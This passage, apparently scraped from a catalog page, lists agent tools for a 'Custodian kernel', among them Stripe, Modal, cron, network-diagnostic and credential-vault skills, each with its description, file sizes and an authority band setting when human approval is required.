This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubkv-set
When your agent uses it
Store a key-value pair in the Custodian KV store
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,310 bytesSKILL.mdcore1,310 bytesscripts/execute.pyruns989 bytes
Read SKILL.md
# Kv Set
Store a key-value pair in the Custodian KV store
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubsqlite-query
When your agent uses it
Run a read-only SQL query against a SQLite database file
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
307 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,324 bytesSKILL.mdcore1,324 bytesscripts/execute.pyruns1,499 bytes
Read SKILL.md
# Sqlite Query
Run a read-only SQL query against a SQLite database file
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubmodal-deploy
When your agent uses it
Deploy a Modal function from a local Python file
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
322 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,399 bytesSKILL.mdcore1,399 bytesscripts/execute.pyruns2,650 bytes
Read SKILL.md
# Modal Deploy
Deploy a Modal function from a local Python file
## Authority band
This tool runs under **L3** authority in the Custodian kernel. Always requires human approval via Twilio SMS before executing.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubmodal-function-list
When your agent uses it
List deployed Modal functions in the current workspace
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
321 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,431 bytesSKILL.mdcore1,431 bytesscripts/execute.pyruns1,391 bytes
Read SKILL.md
# Modal Function List
List deployed Modal functions in the current workspace
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubmodal-invoke
When your agent uses it
Invoke a deployed Modal function with JSON arguments
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,421 bytesSKILL.mdcore1,421 bytesscripts/execute.pyruns3,643 bytes
Read SKILL.md
# Modal Invoke
Invoke a deployed Modal function with JSON arguments
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubdns-lookup
When your agent uses it
Resolve a hostname to its IP addresses (A, AAAA, MX, TXT records)
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
120 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore380 bytesscripts/execute.pyruns477 bytes
Read SKILL.md
# Dns Lookup
Resolve a hostname to its IP addresses (A, AAAA, MX, TXT records)View the complete source on GitHubhttp-health-check
When your agent uses it
Check if an HTTP/HTTPS endpoint is reachable and measure latency
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
110 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore399 bytesscripts/execute.pyruns870 bytes
Read SKILL.md
# Http Health Check
Check if an HTTP/HTTPS endpoint is reachable and measure latencyView the complete source on GitHubip-geolocation
When your agent uses it
Look up country, region, and ASN for an IP address (public)
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
114 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore376 bytesscripts/execute.pyruns644 bytes
Read SKILL.md
# Ip Geolocation
Look up country, region, and ASN for an IP address (public)View the complete source on GitHubping-host
When your agent uses it
Send ICMP pings to a host and report RTT and packet loss
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
112 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore367 bytesscripts/execute.pyruns779 bytes
Read SKILL.md
# Ping Host
Send ICMP pings to a host and report RTT and packet lossView the complete source on GitHubport-scan
When your agent uses it
Check whether specific TCP ports are open on a host
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
105 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore355 bytesscripts/execute.pyruns705 bytes
Read SKILL.md
# Port Scan
Check whether specific TCP ports are open on a hostView the complete source on GitHubssl-cert-check
When your agent uses it
Inspect a domain's TLS certificate — expiry, issuer, SANs
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore381 bytesscripts/execute.pyruns926 bytes
Read SKILL.md
# Ssl Cert Check
Inspect a domain's TLS certificate — expiry, issuer, SANsView the complete source on GitHubwhois-lookup
When your agent uses it
Query WHOIS records for a domain or IP address
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore346 bytesscripts/execute.pyruns735 bytes
Read SKILL.md
# Whois Lookup
Query WHOIS records for a domain or IP addressView the complete source on GitHubhuggingface-infer
When your agent uses it
Run inference on a HuggingFace model via the Inference API
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
340 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,450 bytesSKILL.mdcore1,450 bytesscripts/execute.pyruns2,394 bytes
Read SKILL.md
# Huggingface Infer
Run inference on a HuggingFace model via the Inference API
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubnim-job-status
When your agent uses it
Check the status and result of an NVIDIA NIM inference job
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
315 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,333 bytesSKILL.mdcore1,333 bytesscripts/execute.pyruns2,042 bytes
Read SKILL.md
# Nim Job Status
Check the status and result of an NVIDIA NIM inference job
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubnim-job-submit
When your agent uses it
Submit an inference job to NVIDIA NIM and return a job ID
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
321 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,353 bytesSKILL.mdcore1,353 bytesscripts/execute.pyruns1,122 bytes
Read SKILL.md
# Nim Job Submit
Submit an inference job to NVIDIA NIM and return a job ID
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubnim-model-list
When your agent uses it
List available NVIDIA NIM models and their status
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,315 bytesSKILL.mdcore1,315 bytesscripts/execute.pyruns614 bytes
Read SKILL.md
# Nim Model List
List available NVIDIA NIM models and their status
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubopenai-complete
When your agent uses it
Send a completion request to the OpenAI API
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
329 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,408 bytesSKILL.mdcore1,408 bytesscripts/execute.pyruns2,808 bytes
Read SKILL.md
# Openai Complete
Send a completion request to the OpenAI API
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-spend
When your agent uses it
Create real Stripe test-mode charges for bounded business actions, with an authority-band budget cap and human escalation above the cap.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
960 tokensWhen the skill is activated
Reference documents
728 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- How spend.py decides
- Retry behavior
- Example session
- Files
Scripts executed separately
scripts/_core.pyscripts/approve.pyscripts/approve_v2.pyscripts/authority.pyscripts/earn.pyscripts/execute.pyscripts/kill_toggle.pyscripts/notify.pyscripts/recipes/__init__.pyscripts/recipes/status_alert.pyscripts/refund.pyscripts/spend.pyscripts/spend_v2.py
Files
SKILL.mdcore3,879 bytespolicy.yamlasset1,008 bytesreferences/authority-bands.mddoc1,158 bytesreferences/refund-policy.mddoc2,014 bytesscripts/_core.pyruns15,570 bytesscripts/approve.pyruns2,213 bytesscripts/approve_v2.pyruns1,804 bytesscripts/authority.pyruns2,729 bytesscripts/earn.pyruns2,629 bytesscripts/execute.pyruns1,277 bytesscripts/kill_toggle.pyruns3,025 bytesscripts/notify.pyruns6,788 bytesscripts/recipes/__init__.pyruns709 bytesscripts/recipes/status_alert.pyruns1,502 bytesscripts/refund.pyruns6,354 bytesscripts/spend.pyruns6,552 bytesscripts/spend_v2.pyruns4,052 bytes
Read SKILL.md
# Stripe Spend (bounded authority)
Create a real Stripe PaymentIntent (test mode) when you decide to spend money on an action — for
example, starting a monitored worker, buying alerting credits, or charging a customer for a
completed job. Every call is logged to the authority ledger and checked against the current
authority band before the request is sent.
You are operating under **bounded authority**, not unlimited spend. Read `references/authority-bands.md`
before your first spend decision this session.
## Quick Reference
| Action | Command |
|--------|---------|View the complete source on GitHubcron-create
When your agent uses it
Schedule a recurring task using cron syntax
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
318 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,397 bytesSKILL.mdcore1,397 bytesscripts/execute.pyruns1,001 bytes
Read SKILL.md
# Cron Create
Schedule a recurring task using cron syntax
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcron-delete
When your agent uses it
Delete a scheduled cron task by name or ID
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
322 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,395 bytesSKILL.mdcore1,395 bytesscripts/execute.pyruns712 bytes
Read SKILL.md
# Cron Delete
Delete a scheduled cron task by name or ID
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcron-list
When your agent uses it
List all scheduled cron tasks managed by Custodian
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
318 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,382 bytesSKILL.mdcore1,382 bytesscripts/execute.pyruns312 bytes
Read SKILL.md
# Cron List
List all scheduled cron tasks managed by Custodian
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubtask-queue-add
When your agent uses it
Add a one-shot task to the Custodian task queue
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
314 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,334 bytesSKILL.mdcore1,334 bytesscripts/execute.pyruns976 bytes
Read SKILL.md
# Task Queue Add
Add a one-shot task to the Custodian task queue
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubtask-queue-list
When your agent uses it
List pending and completed tasks in the Custodian queue
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,332 bytesSKILL.mdcore1,332 bytesscripts/execute.pyruns656 bytes
Read SKILL.md
# Task Queue List
List pending and completed tasks in the Custodian queue
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubhmac-verify
When your agent uses it
Verify an HMAC-SHA256 signature given the message and key
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore370 bytesscripts/execute.pyruns833 bytes
Read SKILL.md
# Hmac Verify
Verify an HMAC-SHA256 signature given the message and keyView the complete source on GitHubjwt-decode
When your agent uses it
Decode and inspect a JWT (header, claims, expiry) without verifying signature
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
115 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore406 bytesscripts/execute.pyruns750 bytes
Read SKILL.md
# Jwt Decode
Decode and inspect a JWT (header, claims, expiry) without verifying signatureView the complete source on GitHubpaladin-import
When your agent uses it
Bulk-import credentials into the Paladin vault from .env files, CSV/JSON exports, Bitwarden, or 1Password — or discover where credentials live. Returns names/kinds/counts only; secret values never enter the agent's context.
What it loads into context
Frontmatter
133 tokensAlways available to the agent
SKILL.md
939 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- Arguments
- The intended agent workflow
- Requirements
- What this tool will never do
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore3,589 bytesSKILL.mdcore3,589 bytesSKILL.mdcore3,589 bytesscripts/execute.pyruns4,982 bytes
Read SKILL.md
# Paladin Import (bulk credential onboarding)
Move credentials out of plaintext and into the encrypted Paladin vault, in
bulk, from three kinds of sources — without the secret values ever passing
through your (the agent's) context. You see names, kinds, and counts; the
values flow directly from the source into AES-256-GCM inside the tool's
process.
## Quick Reference
| Action | Invocation |
|--------|------------|
| Find where credentials live (report-only) | `source=discover` |
| Import a .env file | `source=env, path=/path/to/.env` |View the complete source on GitHubsecrets-scan
When your agent uses it
Scan text or a file for accidentally committed secrets (API keys, tokens)
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
111 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore396 bytesscripts/execute.pyruns994 bytes
Read SKILL.md
# Secrets Scan
Scan text or a file for accidentally committed secrets (API keys, tokens)View the complete source on GitHubstripe-balance
When your agent uses it
Fetch current Stripe account balance (test mode)
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
302 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,313 bytesSKILL.mdcore1,313 bytesscripts/execute.pyruns566 bytes
Read SKILL.md
# Stripe Balance
Fetch current Stripe account balance (test mode)
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-charge-list
When your agent uses it
List recent Stripe charges with amount, status, and customer
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
108 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore390 bytesscripts/execute.pyruns1,153 bytes
Read SKILL.md
# Stripe Charge List
List recent Stripe charges with amount, status, and customerView the complete source on GitHubstripe-customer-create
When your agent uses it
Create a new Stripe customer record
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
99 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore348 bytesscripts/execute.pyruns1,182 bytes
Read SKILL.md
# Stripe Customer Create
Create a new Stripe customer recordView the complete source on GitHubstripe-customer-lookup
When your agent uses it
Look up a Stripe customer by email or ID
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,321 bytesSKILL.mdcore1,321 bytesscripts/execute.pyruns979 bytes
Read SKILL.md
# Stripe Customer Lookup
Look up a Stripe customer by email or ID
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-invoice-send
When your agent uses it
Send a Stripe invoice to a customer
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
328 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,422 bytesSKILL.mdcore1,422 bytesscripts/execute.pyruns1,053 bytes
Read SKILL.md
# Stripe Invoice Send
Send a Stripe invoice to a customer
## Authority band
This tool runs under **L2** authority in the Custodian kernel. Autonomous up to the per-action and session caps; escalates above threshold.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-payout
When your agent uses it
Initiate a Stripe payout to the connected bank account
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
330 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,436 bytesSKILL.mdcore1,436 bytesscripts/execute.pyruns1,329 bytes
Read SKILL.md
# Stripe Payout
Initiate a Stripe payout to the connected bank account
## Authority band
This tool runs under **L4** authority in the Custodian kernel. Unlimited potential impact — always escalates; never executes autonomously.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-price-list
When your agent uses it
List active prices and products in the Stripe catalog
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
104 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore374 bytesscripts/execute.pyruns1,111 bytes
Read SKILL.md
# Stripe Price List
List active prices and products in the Stripe catalogView the complete source on GitHubstripe-refund-list
When your agent uses it
List recent Stripe refunds with reason and amount
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
103 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore368 bytesscripts/execute.pyruns1,145 bytes
Read SKILL.md
# Stripe Refund List
List recent Stripe refunds with reason and amountView the complete source on GitHubstripe-subscription-cancel
When your agent uses it
Cancel a Stripe subscription immediately or at period end
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
331 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,486 bytesSKILL.mdcore1,486 bytesscripts/execute.pyruns1,504 bytes
Read SKILL.md
# Stripe Subscription Cancel
Cancel a Stripe subscription immediately or at period end
## Authority band
This tool runs under **L3** authority in the Custodian kernel. Always requires human approval via Twilio SMS before executing.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubstripe-subscription-create
When your agent uses it
Create a new Stripe subscription for a customer
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
326 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,466 bytesSKILL.mdcore1,466 bytesscripts/execute.pyruns1,370 bytes
Read SKILL.md
# Stripe Subscription Create
Create a new Stripe subscription for a customer
## Authority band
This tool runs under **L3** authority in the Custodian kernel. Always requires human approval via Twilio SMS before executing.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubbase64-decode
When your agent uses it
Base64-decode a string and return raw or UTF-8 content
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
315 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,316 bytesSKILL.mdcore1,316 bytesscripts/execute.pyruns530 bytes
Read SKILL.md
# Base64 Decode
Base64-decode a string and return raw or UTF-8 content
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubbase64-encode
When your agent uses it
Base64-encode a string or file content
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
305 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,284 bytesSKILL.mdcore1,284 bytesscripts/execute.pyruns1,143 bytes
Read SKILL.md
# Base64 Encode
Base64-encode a string or file content
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcurrency-convert
When your agent uses it
Convert an amount between two currencies using live rates
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
304 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,340 bytesSKILL.mdcore1,340 bytesscripts/execute.pyruns879 bytes
Read SKILL.md
# Currency Convert
Convert an amount between two currencies using live rates
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubhash-sha256
When your agent uses it
Compute the SHA-256 hash of a string or file
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
311 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,300 bytesSKILL.mdcore1,300 bytesscripts/execute.pyruns1,195 bytes
Read SKILL.md
# Hash Sha256
Compute the SHA-256 hash of a string or file
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubjson-transform
When your agent uses it
Apply a jq-style filter to transform a JSON payload
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
304 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,319 bytesSKILL.mdcore1,319 bytesscripts/execute.pyruns969 bytes
Read SKILL.md
# Json Transform
Apply a jq-style filter to transform a JSON payload
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubtimezone-lookup
When your agent uses it
Convert a datetime between two IANA timezone identifiers
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
303 tokensWhen the skill is activated
Reference documents
